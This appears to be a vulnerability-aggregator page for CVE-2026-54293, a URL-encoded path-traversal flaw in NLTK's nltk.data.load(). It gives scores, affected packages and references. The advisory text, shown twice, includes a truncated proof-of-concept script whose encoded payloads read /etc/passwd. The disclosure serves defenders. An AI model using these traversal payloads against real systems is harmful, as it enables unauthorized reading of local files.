CVE-2026-54293
NLTK: URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Prior to 3.10.0-rc1, nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. This vulnerability is fixed in 3.10.0-rc1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
NLTK: URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Prior to 3.10.0-rc1, nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. This vulnerability is fixed in 3.10.0-rc1.
- Record
CVE-2026-54293- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22, CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-38333
7.5
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Prior to 3.10.0-rc1, nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. This vulnerability is fixed in 3.10.0-rc1.
- Record
EUVD-2026-38333- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-p4gq-832x-fm9v
7.5
Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read
Summary
nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.
Affected Component
nltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences:
data.py L650–L653 — final path constructed from url2pathname(resource_name) after checks data.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input
Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.
Proof of Concept
"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.
Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)
Root Cause:
nltk/data.py:find() checks resource names against a regex for
traversal patterns (../, leading /, etc.) BEFORE calling
url2pathname() which decodes %xx sequences. This is a classic
"decode-after-check" vulnerability.
"""
import sys
import os
import warnings
# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)
# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)
import nltk
from nltk.pathsec import ENFORCE
BANNER = """
===================================================
NLTK URL-Encoded Path Traversal PoC
Affected: nltk <= 3.9.4
Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)
def test_variant(name, payload, fmt="raw"):
"""Test a single traversal variant."""
try:
content = nltk.data.load(payload, format=fmt)
if isinstance(content, bytes):
preview = content[:200].decode("utf-8", errors="replace")
else:
preview = content[:200]
first_line = preview.split("\n")[0]
print(f" [VULN] {name}")
print(f" Payload: {payload}")
print(f" Read OK: {first_line}")
return True
except Exception as e:
print(f" [SAFE] {name}")
print(f" Payload: {payload}")
print(f" Blocked: {type(e).__name__}: {e}")
return False
def main():
print(BANNER)
vulns = 0
# --- Variant 1: URL-encoded absolute path ---
print("[1] URL-encoded absolute path (%2f = /)")
if test_variant(
"Encoded leading slash bypasses ^/ regex check",
"nltk:%2fetc%2fpasswd",
):
vulns += 1
print()
# --- Variant 2: Encoded dot-dot traversal ---
print("[2] URL-encoded dot-dot traversal (%2e = .)")
if test_variant(
"Encoded dots bypass \\.\\./ regex check",
"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
):
vulns += 1
print()
# --- Variant 3: Literal dots with encoded slash ---
print("[3] Literal dots with encoded slash (..%2f)")
if…
- Record
GHSA-p4gq-832x-fm9v- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
7.5
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Prior to 3.10.0-rc1, nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. This vulnerability is fixed in 3.10.0-rc1.
- Record
CVE-2026-54293- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
7.5
NLTK: URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Prior to 3.10.0-rc1, nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. This vulnerability is fixed in 3.10.0-rc1.
- Record
CVE-2026-54293- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-54293
7.5
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Prior to 3.10.0-rc1, nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. This vulnerability is fixed in 3.10.0-rc1.
- Record
DEBIAN-CVE-2026-54293- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-p4gq-832x-fm9v
7.5
Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read
Summary
nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.
Affected Component
nltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences:
data.py L650–L653 — final path constructed from url2pathname(resource_name) after checks data.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input
Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.
Proof of Concept
"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.
Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)
Root Cause:
nltk/data.py:find() checks resource names against a regex for
traversal patterns (../, leading /, etc.) BEFORE calling
url2pathname() which decodes %xx sequences. This is a classic
"decode-after-check" vulnerability.
"""
import sys
import os
import warnings
# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)
# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)
import nltk
from nltk.pathsec import ENFORCE
BANNER = """
===================================================
NLTK URL-Encoded Path Traversal PoC
Affected: nltk <= 3.9.4
Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)
def test_variant(name, payload, fmt="raw"):
"""Test a single traversal variant."""
try:
content = nltk.data.load(payload, format=fmt)
if isinstance(content, bytes):
preview = content[:200].decode("utf-8", errors="replace")
else:
preview = content[:200]
first_line = preview.split("\n")[0]
print(f" [VULN] {name}")
print(f" Payload: {payload}")
print(f" Read OK: {first_line}")
return True
except Exception as e:
print(f" [SAFE] {name}")
print(f" Payload: {payload}")
print(f" Blocked: {type(e).__name__}: {e}")
return False
def main():
print(BANNER)
vulns = 0
# --- Variant 1: URL-encoded absolute path ---
print("[1] URL-encoded absolute path (%2f = /)")
if test_variant(
"Encoded leading slash bypasses ^/ regex check",
"nltk:%2fetc%2fpasswd",
):
vulns += 1
print()
# --- Variant 2: Encoded dot-dot traversal ---
print("[2] URL-encoded dot-dot traversal (%2e = .)")
if test_variant(
"Encoded dots bypass \\.\\./ regex check",
"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
):
vulns += 1
print()
# --- Variant 3: Literal dots with encoded slash ---
print("[3] Literal dots with encoded slash (..%2f)")
if…
- Record
GHSA-p4gq-832x-fm9v- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVPYSEC-2026-2078
7.5
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Prior to 3.10.0-rc1, nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. This vulnerability is fixed in 3.10.0-rc1.
- Record
PYSEC-2026-2078- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-54293
7.5
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Prior to 3.10.0-rc1, nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. This vulnerability is fixed in 3.10.0-rc1.
- Record
UBUNTU-CVE-2026-54293- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVMGASA-2026-0281 No score
Updated python-nltk packages fix security vulnerability
URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read. (CVE-2026-54293)
- Record
MGASA-2026-0281- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11098-1 No score
python311-nltk-3.10.0rc1-1.1 on GA media
These are all security issues fixed in the python311-nltk-3.10.0rc1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11098-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
nltkPyPI |
through 3.9.4 | 3.10.0 |
nltkDebian:12 |
All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.8-13.8.1-1 Show 4 moreShow less3.9.1-13.9.1-23.9.2-13.9.3-1 |
None known |
nltkDebian:13 |
All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.9.1-23.9.2-13.9.3-1 |
None known |
nltkDebian:14 |
before 3.10.0-1, plus listed versions 3.9.1-23.9.2-13.9.3-1 |
3.10.0-1 |
nltkPyPI |
before 3.10.0, plus listed versions 0.80.90.9.30.9.40.9.5 Show 45 moreShow less0.9.60.9.70.9.80.9.92.0.12.0.1rc12.0.1rc2-git2.0.1rc32.0.1rc42.0.22.0.32.0.42.0.52.0b42.0b52.0b62.0b72.0b82.0b93.0.03.0.0b13.0.0b23.0.13.0.23.0.33.0.43.0.53.13.23.2.13.2.23.2.33.2.43.2.53.33.43.4.13.4.23.4.33.4.43.4.53.53.5b13.63.6.1 |
3.10.0 |
python-nltkMageia:10 |
before 3.9.4-1.1.mga10 | 3.9.4-1.1.mga10 |
python-nltkMageia:9 |
before 3.9.4-1.1.mga9 | 3.9.4-1.1.mga9 |
nltkUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 2.0~b9-0ubuntu42.0~b9-0ubuntu4.1~esm22.0~b9-0ubuntu4.1~esm42.0~b9-0ubuntu4.1~esm52.0~b9-0ubuntu4.1~esm6 |
None known |
nltkUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 3.0.4-13.0.5-13.1-13.1-1ubuntu0.13.1-1ubuntu0.1+esm13.1-1ubuntu0.1+esm23.1-1ubuntu0.1+esm33.1-1ubuntu0.1+esm4 |
None known |
nltkUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 3.2.4-13.2.5-13.2.5-1ubuntu0.13.2.5-1ubuntu0.1+esm13.2.5-1ubuntu0.1+esm23.2.5-1ubuntu0.1+esm33.2.5-1ubuntu0.1+esm4 |
None known |
Show 7 moreShow less
| Package | Affected | Fixed |
|---|---|---|
nltkUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 3.4.5-13.4.5-23.4.5-2ubuntu0.1~esm13.4.5-2ubuntu0.1~esm23.4.5-2ubuntu0.1~esm33.4.5-2ubuntu0.1~esm4 |
None known |
nltkUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 3.5-13.6.5-13.6.7-13.7-13.7-1ubuntu0.1~esm13.7-1ubuntu0.1~esm2 |
None known |
nltkUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 3.8.1-13.8.1-1ubuntu0.1~esm13.8.1-1ubuntu0.1~esm2 |
None known |
nltkUbuntu:25.10 |
All versions, plus listed versions 3.9.1-2 |
None known |
nltkUbuntu:26.10 |
All versions, plus listed versions 3.9.2-13.9.3-13.10.0-13.10.1-13.10.3-1 |
None known |
nltkUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 3.9.1-23.9.1-2build13.9.2-13.9.2-1ubuntu0.1~esm13.9.2-1ubuntu0.1~esm2 |
None known |
python-nltkopenSUSE:Tumbleweed |
before 3.10.0rc1-1.1 | 3.10.0rc1-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-54293 is a high vulnerability (CVSS 7.5) in Nltk, published June 16, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.63%, the 50th percentile. Fixed in nltk 3.10.0.
References
github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v
github.com/nltk/nltk/pull/3575
access.redhat.com/security/cve/CVE-2026-54293
bugzilla.redhat.com/show_bug.cgi?id=2491486
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json
access.redhat.com/errata/RHSA-2026:42644
Show 14 moreShow less
access.redhat.com/errata/RHSA-2026:65126
access.redhat.com/errata/RHSA-2026:60520
nvd.nist.gov/vuln/detail/CVE-2026-54293
github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2078.yaml
github.com/advisories/GHSA-p4gq-832x-fm9v
github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54293.json
security-tracker.debian.org/tracker/CVE-2026-54293
github.com/nltk/nltk
advisories.mageia.org/MGASA-2026-0281.html
bugs.mageia.org/show_bug.cgi?id=35762
lists.opensuse.org/archives/list/[email protected]/message/WMWF7SLMCGEL35KSK5ERA7U5CKTU5Z57
ubuntu.com/security/CVE-2026-54293
cve.org/CVERecord?id=CVE-2026-54293
suse.com/security/cve/CVE-2026-54293
Left out here: 15 versions and the rest of 2 source descriptions. The JSON record has them.